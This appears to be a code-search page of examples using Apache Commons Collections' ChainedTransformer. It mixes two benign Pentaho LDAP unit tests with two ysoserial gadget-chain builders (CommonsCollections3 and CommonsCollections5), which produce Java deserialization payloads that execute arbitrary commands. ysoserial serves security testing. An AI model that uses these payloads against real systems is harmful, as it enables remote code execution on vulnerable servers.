Examples with ChainedTransformer org.apache.commons.collections.functors.ChainedTransformer used on opensource projects

Example 6 with ChainedTransformer

use of org.apache.commons.collections.functors.ChainedTransformer in project ysoserial by frohoff.

the class CommonsCollections3 method getObject.

public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl }) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return handler;
}

Example 7 with ChainedTransformer

use of org.apache.commons.collections.functors.ChainedTransformer in project pentaho-platform by pentaho.

the class DefaultLdapUserRoleListServiceTest method testGetAllAuthorities2.

/**
 * Search for all roles (aka authorities) starting at <code>ou=groups</code>, looking for objects with
 * <code>objectClass=groupOfUniqueNames</code>, and returning the <code>cn</code> attribute.
 */
@Test
public void testGetAllAuthorities2() {
    SearchControls con1 = new SearchControls();
    // $NON-NLS-1$
    con1.setReturningAttributes(new String[] { "cn" });
    LdapSearchParamsFactory paramsFactory = // $NON-NLS-1$//$NON-NLS-2$
    new LdapSearchParamsFactoryImpl("ou=groups", "(objectClass=groupOfUniqueNames)", con1);
    // $NON-NLS-1$
    Transformer one = new SearchResultToAttrValueList("cn");
    Transformer two = new StringToGrantedAuthority();
    Transformer[] transformers = { one, two };
    Transformer transformer = new ChainedTransformer(transformers);
    LdapSearch rolesSearch = new GenericLdapSearch(getContextSource(), paramsFactory, transformer);
    DefaultLdapUserRoleListService userRoleListService = getDefaultLdapUserRoleListService();
    userRoleListService.setAllAuthoritiesSearch(rolesSearch);
    List res = userRoleListService.getAllRoles();
    // $NON-NLS-1$
    assertTrue(res.contains("ROLE_SALES"));
    // $NON-NLS-1$
    assertTrue(res.contains("ROLE_MARKETING"));
    if (logger.isDebugEnabled()) {
        // $NON-NLS-1$
        logger.debug("results of getAllAuthorities2(): " + res);
    }
}

Example 8 with ChainedTransformer

use of org.apache.commons.collections.functors.ChainedTransformer in project pentaho-platform by pentaho.

the class DefaultLdapUserRoleListServiceTest method testGetAllAuthorities3.

/**
 * Union the results of two different searches.
 * <ul>
 * <li>Search 1: Search for all roles (aka authorities) starting at <code>ou=groups</code>, looking for objects with
 * <code>objectClass=groupOfUniqueNames</code>, and returning the <code>cn</code> attribute.</li>
 * <li>Search 2: Search for all roles (aka authorities) starting at <code>ou=roles</code>, looking for objects with
 * <code>objectClass=organizationalRole</code>, and returning the <code>cn</code> attribute.</li>
 * </ul>
 */
@Test
public void testGetAllAuthorities3() throws Exception {
    SearchControls con1 = new SearchControls();
    // $NON-NLS-1$
    con1.setReturningAttributes(new String[] { "cn" });
    LdapSearchParamsFactory paramsFactory = // $NON-NLS-1$ //$NON-NLS-2$
    new LdapSearchParamsFactoryImpl("ou=roles", "(objectClass=organizationalRole)", con1);
    // $NON-NLS-1$
    Transformer one = new SearchResultToAttrValueList("cn");
    Transformer two = new StringToGrantedAuthority();
    Transformer[] transformers = { one, two };
    Transformer transformer = new ChainedTransformer(transformers);
    LdapSearch rolesSearch = new GenericLdapSearch(getContextSource(), paramsFactory, transformer);
    SearchControls con2 = new SearchControls();
    // $NON-NLS-1$
    con1.setReturningAttributes(new String[] { "cn" });
    LdapSearchParamsFactory paramsFactory2 = // $NON-NLS-1$//$NON-NLS-2$
    new LdapSearchParamsFactoryImpl("ou=groups", "(objectClass=groupOfUniqueNames)", con2);
    // $NON-NLS-1$
    Transformer oneB = new SearchResultToAttrValueList("cn");
    Transformer twoB = new StringToGrantedAuthority();
    Transformer[] transformers2 = { oneB, twoB };
    Transformer transformer2 = new ChainedTransformer(transformers2);
    LdapSearch rolesSearch2 = new GenericLdapSearch(getContextSource(), paramsFactory2, transformer2);
    Set searches = new HashSet();
    searches.add(rolesSearch);
    searches.add(rolesSearch2);
    UnionizingLdapSearch unionSearch = new UnionizingLdapSearch(searches);
    DefaultLdapUserRoleListService userRoleListService = getDefaultLdapUserRoleListService();
    userRoleListService.setAllAuthoritiesSearch(unionSearch);
    List res = userRoleListService.getAllRoles();
    // $NON-NLS-1$
    assertTrue(res.contains("ROLE_DEVMGR"));
    // $NON-NLS-1$
    assertTrue(res.contains("ROLE_DEVELOPMENT"));
    if (logger.isDebugEnabled()) {
        // $NON-NLS-1$
        logger.debug("results of getAllAuthorities3(): " + res);
    }
}

Example 9 with ChainedTransformer

use of org.apache.commons.collections.functors.ChainedTransformer in project ysoserial by frohoff.

the class CommonsCollections5 method getObject.

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    valfield.setAccessible(true);
    valfield.set(val, entry);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return val;
}